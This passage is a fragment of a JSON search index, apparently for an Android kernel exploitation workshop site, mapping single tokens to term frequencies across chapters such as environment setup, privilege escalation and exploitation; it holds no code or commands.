chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":3.3356157869709935},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"s":{"docs":{},".":{"docs":{},"p":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"y":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"z":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"./":{"ref":"./","tf":0.1},"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0455531453362256},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.009615384615384616},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0375}},":":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"/":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"s":{"docs":{},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{"./":{"ref":"./","tf":0.05}}}}},"w":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"y":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"o":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"n":{"docs":{},"o":{"docs":{},"t":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}},"s":{"docs":{},"h":{"docs":{},"f":{"docs":{},"a":{"docs":{},"q":{"docs":{"./":{"ref":"./","tf":0.05}},"@":{"docs":{},"h":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"s":{"docs":{},"y":{"docs":{},"s":{"docs":{},":":{"docs":{},"~":{"docs":{},"$":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.015184381778741865}}},"/":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"p":{"docs":{},"$":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"e":{"docs":{},"x":{"docs":{},"p":{"docs":{},"l":{"docs":{},"o":{"docs":{},"i":{"docs":{},"t":{"docs":{},"$":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}}}}}}}}},"/":{"docs":{},"t":{"docs":{},"m":{"docs":{},"p":{"docs":{},"$":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"u":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"o":{"docs":{},"c":{"docs":{},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"k":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"u":{"docs":{},"t":{"docs":{},"h":{"docs":{},"o":{"docs":{},"r":{"docs":{"./":{"ref":"./","tf":0.05},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},":":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"o":{"docs":{},"m":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"y":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"d":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"(":{"1":{"5":{"8":{"6":{"6":{"2":{"4":{"8":{"1":{"0":{"docs":{},".":{"6":{"2":{"9":{"docs":{},":":{"5":{"docs":{},")":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}},"docs":{}}},"docs":{}},"5":{"9":{"docs":{},":":{"6":{"docs":{},")":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}},"c":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"o":{"docs":{},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"(":{"docs":{},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}},"i":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"t":{"docs":{},"_":{"docs":{},"r":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"m":{"docs":{},"e":{"docs":{},"m":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},"x":{"docs":{},"p":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"v":{"docs":{},"m":{"docs":{},"_":{"docs":{},"m":{"docs":{},"e":{"docs":{},"m":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}},"u":{"docs":{},"m":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"h":{"docs":{},"i":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.003080369644357323},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}},"t":{"docs":{},"u":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"i":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"_":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"s":{"docs":{},"a":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}},"o":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"q":{"docs":{},"u":{"docs":{},"i":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}}},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"b":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"r":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},")":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.005600672080649678}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"\"":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"i":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"(":{"docs":{},"w":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"c":{"docs":{},"l":{"docs":{},"u":{"docs":{},"s":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"(":{"docs":{},"w":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"p":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"v":{"docs":{},"a":{"docs":{},"n":{"docs":{},"t":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0034236804564907277},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"?":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"o":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}}}}}},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}},"g":{"docs":{},"u":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"r":{"docs":{},"a":{"docs":{},"y":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"(":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}},"c":{"docs":{},"h":{"docs":{},"/":{"docs":{},"x":{"8":{"6":{"docs":{},"/":{"docs":{},"b":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{},"/":{"docs":{},"b":{"docs":{},"z":{"docs":{},"i":{"docs":{},"m":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},"/":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"m":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"2":{"9":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},"_":{"6":{"4":{"docs":{},".":{"docs":{},"s":{"docs":{},":":{"2":{"3":{"3":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},"docs":{}},"docs":{}},"docs":{}}}}},"docs":{}},"docs":{}}}}}}}}}}}}},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"/":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"5":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}}},"=":{"docs":{},"x":{"8":{"6":{"docs":{},"_":{"6":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"u":{"docs":{},"r":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},"b":{"docs":{},"i":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}}}}}}},"m":{"6":{"4":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"docs":{}},"docs":{}}},"t":{"docs":{},"o":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"6":{"4":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"docs":{}},"docs":{}},"i":{"docs":{},"c":{"docs":{},"_":{"docs":{},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"i":{"docs":{},"n":{"docs":{},"i":{"docs":{},"t":{"docs":{},"(":{"2":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"4":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"docs":{}}}}}},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.002982530890498509},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"c":{"docs":{},"m":{"docs":{},"p":{"docs":{},"x":{"docs":{},"c":{"docs":{},"h":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}}}}}}}}}}}},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{},"b":{"docs":{},"u":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"v":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"e":{"docs":{},"r":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"c":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939}}}},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}}},"b":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"o":{"docs":{},"v":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"g":{"docs":{},"a":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"e":{"docs":{},"n":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"m":{"docs":{},"b":{"docs":{},"i":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"p":{"docs":{},"p":{"docs":{